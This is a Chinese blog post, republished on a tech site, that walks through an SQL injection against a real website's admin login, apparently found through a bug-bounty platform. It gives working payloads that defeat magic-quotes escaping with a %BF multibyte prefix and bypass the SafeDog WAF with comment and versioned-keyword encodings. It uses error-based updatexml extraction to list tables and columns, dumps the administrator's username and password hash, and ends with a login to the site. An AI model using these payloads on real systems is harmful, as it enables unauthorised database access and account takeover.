您当前的位置:首页 > 电脑百科 > 安全防护 > 黑客技术

记一次艰难的SQL注入(过安全狗)

时间:2022-04-19 09:32:06  来源:  作者:暗网视界

前言

最近在挖补天的src,然后挖出了不少SQL注入,完了出了数据库名就不管那么多提交了。今天挖了个报错注入的,突然一激灵,说我不能这样颓废下去了,刚好是个后台登录的界面,我决心要登进它的后台。

记一次艰难的SQL注入(过安全狗)

 

2.1 注入测试

 

bp抓包,加单引号,没有什么用

记一次艰难的SQL注入(过安全狗)

 

很显然,这里开启了php的魔术函数,把单引号自动转义了

 

2.1.1 绕过第一式:汉字双字节编码绕过单引号

 

当开启了魔术函数过滤了引号时,可以在引号前加上一个汉字双字节编码,可以实现绕过

 

例如构造Payload为:

 

username=%BF'

 

%BF解码之后是中文乱码

 

此时发送数据包

记一次艰难的SQL注入(过安全狗)

 


记一次艰难的SQL注入(过安全狗)

 

可以看到SQL语句变成:

 

SELECT * FROM `sl_admin` WHERE `username`='¿''

 

成功过滤单引号

 

程序报错,考虑使用爆错注入

 

3.1 获取数据库

既然想进后台,就需要账号密码,就要注数据库,表名,列名,内容

 

第一步是注出数据库,版本,用户等基本信息

 

先把Payload放出来,再进行讲解

 

Payload:

 

username=%BF'/**/and/**/updatexml(1,concat(0x7e,(database()),0x7e),1)#

 

记一次艰难的SQL注入(过安全狗)

 

数据库名不能放出来,在本文中用test_db代替

 

用这个Payload成功注出了数据库,因而版本信息,当前用户只是改一个值的事,在这里也放出来

 

数据库:
username=%BF'/**/and/**/updatexml(1,concat(0x7e,(database()),0x7e),1)#
用户:
username=%BF'/**/and/**/updatexml(1,concat(0x7e,(user()),0x7e),1)#
版本:
username=%BF'/**/and/**/updatexml(1,concat(0x7e,(version()),0x7e),1)#

 

3.1.1 绕过第二式:注释

再第一个绕过那里,可以看到SQL语句后面还多了个单引号。这个单引号要么把它闭合,要么就注释掉。由于这里开启了魔术函数,所以选择注释。

 

我原本是想用 –+ 来注释的,但是网站用了安全狗,所以加号被干掉了,那就只能用 # 注释了。

 

注释成功,很简单,没什么好说的

记一次艰难的SQL注入(过安全狗)

 

3.1.2 绕过第三式:内联注释绕过空格

安全狗把空格干掉了

 

空格或者加号都会被干掉

记一次艰难的SQL注入(过安全狗)

 

当空格和加号都被干掉时,可以用内联注释 /**/ 代替实现绕过

 

username=%BF/**/and/**/1'
记一次艰难的SQL注入(过安全狗)

 

4.1 获取表名

再得到数据库后要获取表名

 

先把Payload放出来

 

username=%BF'/**/and/**/updatexml(1,concat(0x7e,(/*!50000%53elect*//**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/database()),0x7e),1)#
记一次艰难的SQL注入(过安全狗)

 

管理员表用admin代替,其他表用test_table代替

 

4.1.1 绕过第四式:select过安全狗

注表名需要用select语句,因此我最开始写的Payload是这样的:

username=%BF'/**/and/**/updatexml(1,concat(0x7e,(select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/database()),0x7e),1)#

 

很快啊,被安全狗拦了

记一次艰难的SQL注入(过安全狗)

 

这种select的绕过是最麻烦的,我在尝试了URL编码绕过,混淆大小写绕过,脏数据绕过均告失败后,打开了万能的百度,看到了这篇文章

 

https://www.cnblogs.com/w-i-n-d/p/8649590.html

 

在该文中,用 /*!50000%53elect*/ 代替select实现绕过

 

我尝试了一下,成功实现了绕过(见上图)

 

后来我测试了一下,其他关键词也可以用这种方法绕过

 

select
/*!50000%53elect*/




order 
 /*!50000%6frder*/




union
/*!50000%75nion*/

 

5.1 获取列名

得到了表名和列名,接下来就是要获取列名

 

先放Payload:

 

username=%BF'/**/and/**/updatexml(1,concat(0x7e,(/*!50000%53elect*//**/column_name/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/database()/**/limit/**/7,1),0x7e),1)#

 

5.1.1 绕过第五式:骚操作绕过魔术函数

按照正常的注入流程,写出来的Payload应该是这样的:

 

username=%BF'/**/and/**/updatexml(1,concat(0x7e,(/*!50000%53elect*//**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/database()/**/and/**/table_name/**/like/**/'admin'),0x7e),1)#

 

问题在于,魔术函数干掉了我的单引号

 

于是我就开始各种百度,google,查找怎么绕过魔术函数

 

Noway

 

就在陷入死胡同时,我灵机一动

 

我在最开始学SQL注入的时候,看到information_schema数据库获取信息时,专门去看了这个数据库的结构,在columns这个表里有个字段叫 column_name ,是攻击者需要获取的信息,有个字段叫 table_schema ,对应的是该字段所在的数据库名,有个字段叫 table_name ,对应的是该字段所在的表名

 

因此,当同时获取了数据库名和表名时,可以获取到对应表的所有列名。

 

但是在表数量少且无法利用表名时,可以只指定数据库名,然后利用 limit 语句获取当前数据库所有的字段,再通过经验判断表名

 

例如,我想知道 数据库 test中admin表的内容

 

select column_name from information_schema.columns where table_schema like 'test';

 

记一次艰难的SQL注入(过安全狗)

 

这时通过直觉可以判断出,admin表中的字段是 id username password

 

同理,在该站点中,可以通过这种方法,获取字段

 

当Payload指定为:

 

username=%BF'/**/and/**/updatexml(1,concat(0x7e,(/*!50000%53elect*//**/column_name/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/database()/**/limit/**/1,1),0x7e),1)#

 

得到的字段数为:typeid

记一次艰难的SQL注入(过安全狗)

 

通过修改limit后的值,就可以得到所有的字段,包括admin表中的字段

 

经过测试,当值为 7,1 时可以得到字段 username ;当值为 8,1 时可以得到字段 password

记一次艰难的SQL注入(过安全狗)

 


记一次艰难的SQL注入(过安全狗)

 

6.1 爆帐密

得到了以上信息后,爆帐密就很简单了

 

爆账号:username=%BF'+and/**/updatexml(1,concat(0x7e,(/*!50000%53elect*//**/username/**/from/**/sl_admin),0x7e),1)#
爆密码:
username=%BF'+and/**/updatexml(1,concat(0x7e,(/*!50000%53elect*//**/substr(password,1,31)/**/from/**/sl_admin),0x7e),1)#
username=%BF'+and/**/updatexml(1,concat(0x7e,(/*!50000%53elect*//**/substr(password,32,31)/**/from/**/sl_admin),0x7e),1)#

 

因为密码长度为32,而这里最多只能显示31为,因此用substr函数分两次爆出

 

解密得到账号密码

 

登录成功

记一次艰难的SQL注入(过安全狗)

 

总结

实战注入的难度比靶场大得多,各种绕过,各种骚操作。

 

要学会利用搜索工具,更要学会选择性放弃

 

当一条路走不通就换另一种方法,也许就会柳暗花明又一村

————————————————

版权声明:本文为CSDN博主「漫路在线」

原文链接:
https://blog.csdn.NET/realmels/article/detAIls/122766147



Tags:SQL注入   点击:()  评论:()
声明:本站部分内容及图片来自互联网,转载是出于传递更多信息之目的,内容观点仅代表作者本人,不构成投资建议。投资者据此操作,风险自担。如有任何标注错误或版权侵犯请与我们联系,我们将及时更正、删除。
▌相关推荐
SQL注入漏洞的检测及防御方法
SQL注入(SQL Injection)是一种广泛存在于Web应用程序中的严重安全漏洞,它允许攻击者在不得到授权的情况下访问、修改或删除数据库中的数据。这是一种常见的攻击方式,因此数据库...【详细内容】
2023-12-01  Search: SQL注入  点击:(123)  评论:(0)  加入收藏
从零到SQL注入防护大师,打造安全的Python应用程序
当涉及到与数据库交互时,防止SQL注入攻击是非常重要的。SQL注入是一种常见的网络安全漏洞,攻击者通过在用户输入的数据中注入恶意的SQL代码,从而可以执行未经授权的数据库操作...【详细内容】
2023-11-13  Search: SQL注入  点击:(259)  评论:(0)  加入收藏
Django SQL注入漏洞 CVE-2022-28347
漏洞简介在Django 2.2 的 2.2.28 之前版本、3.2 的 3.2.13 之前版本和 4.0 的 4.0.4 之前版本中的 QuerySet.deexplain 中发现了SQL注入问题。这是通过传递一个精心编制的字...【详细内容】
2023-05-18  Search: SQL注入  点击:(254)  评论:(0)  加入收藏
WordPress插件多个SQL注入漏洞
漏洞0x00 漏洞概述2023年1月12日,Tenable Research的研究人员公开披露了多个WordPress 插件中的SQL注入漏洞,成功利用这些漏洞可以修改或删除网站数据、注入恶意脚本或获得对...【详细内容】
2023-01-16  Search: SQL注入  点击:(305)  评论:(0)  加入收藏
无列名SQL注入攻击
写在前面1.InnoDb引擎从MYSQL5.5.8开始,InnoDB成为其默认的存储引擎。而在MYSQL5.6以上的版本中,mysql数据库中的inndb增加了innodb_index_stats和innodb_table_stats两张表,这...【详细内容】
2022-12-14  Search: SQL注入  点击:(214)  评论:(0)  加入收藏
网站有SQL注入漏洞导致被入侵怎么修复
什么是SQL注入攻击?SQL注入是一种网站的攻击方法。它将SQL代码添加到网站前端GET POST参数中,并将其传递给mysql数据库进行分析和执行语句攻击。如何生成SQL注入漏洞的?1。网站...【详细内容】
2022-10-24  Search: SQL注入  点击:(392)  评论:(0)  加入收藏
网络安全:SQL注入,XSS攻击,CSRF攻击
端口扫描技术1、SQL注入Web安全三板斧之首,大名鼎鼎的SQL注入。 SQL注入攻击的核心在于让Web...【详细内容】
2022-08-11  Search: SQL注入  点击:(564)  评论:(0)  加入收藏
Web渗透_SQL注入3
如果无权读取information schema库 / 拒绝union、order by语句,只能通过猜测的方式: 猜列名 ' and asd is null--+ (+代表空格) 当我们执行之后,通过报错可看出来没有这...【详细内容】
2022-08-03  Search: SQL注入  点击:(305)  评论:(0)  加入收藏
记一次艰难的SQL注入(过安全狗)
前言最近在挖补天的src,然后挖出了不少SQL注入,完了出了数据库名就不管那么多提交了。今天挖了个报错注入的,突然一激灵,说我不能这样颓废下去了,刚好是个后台登录的界面,我决心要...【详细内容】
2022-04-19  Search: SQL注入  点击:(324)  评论:(0)  加入收藏
一张图片也能SQL注入?
作者:Lxxx声明:笔者初衷用于分享与普及网络知识,若读者因此作出任何危害网络安全行为后果自负,与合天网安实验室及原作者无关,本文为合天网安实验室原创,如需转载,请注明出处!前言最...【详细内容】
2022-03-11  Search: SQL注入  点击:(365)  评论:(0)  加入收藏
▌简易百科推荐
小心“黑客”利用445端口攻击你的Win8系统!
Windows 8系统自带一个名为SMB(Server Message Block)的服务,使用445端口进行通信。这个服务主要用于文件共享和网络协议等功能,但是无良黑客也会利用这个服务来攻击你的电脑。...【详细内容】
2024-04-10    潘小姐  Tags:445端口   点击:(9)  评论:(0)  加入收藏
为什么黑客不去攻击微信钱包?
在这个数字化时代,网络安全已经成为我们生活中不可或缺的一部分。每当我们打开手机,使用微信钱包进行支付时,是否曾有过这样的疑问:为什么黑客不去攻击微信钱包?这个问题,就像是在...【详细内容】
2024-02-19  猫探长情报局  今日头条  Tags:黑客   点击:(56)  评论:(0)  加入收藏
发条消息就能破解iPhone?苹果系统这次像被“内鬼”攻破的。。。
前几天,差评君在网上冲浪的时候,看到了一条相当震撼的消息:简单来讲,就是主打封闭安全的 iPhone ,不仅被攻击者发现了漏洞成功入侵,完全控制整个手机。更加抽象的是入侵的还是知名...【详细内容】
2024-01-26  差评    Tags:破解iPhone   点击:(142)  评论:(0)  加入收藏
十种黑客攻击手段及防御方法
在互联网的世界里,网站安全犹如一座城堡,需要严密的防线来抵御各种攻击手段。以下是10种最常见的网络攻击手段,以及我们如何采取措施来保护我们的网站。1. 跨站脚本攻击:这是黑...【详细内容】
2024-01-21  老吴讲IT    Tags:黑客攻击   点击:(87)  评论:(0)  加入收藏
渗透测试中最常见的漏洞有哪些?
什么是渗透测试?渗透测试是一项安全测试,旨在模拟黑客的攻击方式,评估系统、网络或应用程序的安全性,发现潜在的安全漏洞并提出建议来修复它们。渗透测试中最常见的漏洞包括:1....【详细内容】
2024-01-11  五湖联技术服务公司    Tags:渗透测试   点击:(110)  评论:(0)  加入收藏
作为一名黑客/安全专家,应该掌握什么技能?熟悉哪些软件/工具?
作为一名合格的黑客/网络安全专家,应该具备一套全面的知识体系和实战技能,同时熟悉多种安全软件和工具。今天我们将根据目前市面上流行的一些应用程序,以及常规的安全防护措施,...【详细内容】
2023-12-11  黑客联盟I    Tags:黑客   点击:(144)  评论:(0)  加入收藏
黑客是如何入侵一个网站的?(网络安全人员应该了解的知识)
前不久阿里以及滴滴系统的大规模瘫痪足以唤起人们对网络安全的重视。我首先必须澄清的是,作为一个网络安全专家,我不提供或者鼓励任何违法的行为,包括未经授权的计算机系统入侵...【详细内容】
2023-12-07  黑客联盟I    Tags:黑客   点击:(179)  评论:(0)  加入收藏
网络黑客入侵解析:保护你的网络安全
在当今数字化快速发展的时代,网络安全问题逐渐成为人们关注的焦点。网络黑客入侵事件频发,给个人和企业带来了严重的威胁。本文将深入解析网络黑客入侵的常见手段和原因,并探讨...【详细内容】
2023-12-05  小记青春    Tags:黑客入侵   点击:(164)  评论:(0)  加入收藏
黑客滥用 Google 表单进行诈骗
研究人员最近发现滥用 Google 表单的垃圾邮件有所增加,攻击者首先在 Google 表单中创建新的问卷调查,并且利用受害者的电子邮件地址参与问卷调查,滥用 Google 表单的功能将垃圾...【详细内容】
2023-11-23  区块软件开发  今日头条  Tags:黑客   点击:(227)  评论:(0)  加入收藏
黑客工具 Flipper Zero 曝光,可利用蓝牙弹出窗口崩溃 iPhone
据外媒 9to5Mac 报道,一种流行且廉价的黑客设备 Flipper Zero 今年 9 月首次出现,可通过制造蓝牙弹出窗口,向 iPhone 和 iPad 重复告诉发送垃圾内容,直到相关设备最终崩溃,不过直...【详细内容】
2023-11-20  IT之家    Tags:黑客工具   点击:(242)  评论:(0)  加入收藏
站内最新
站内热门
站内头条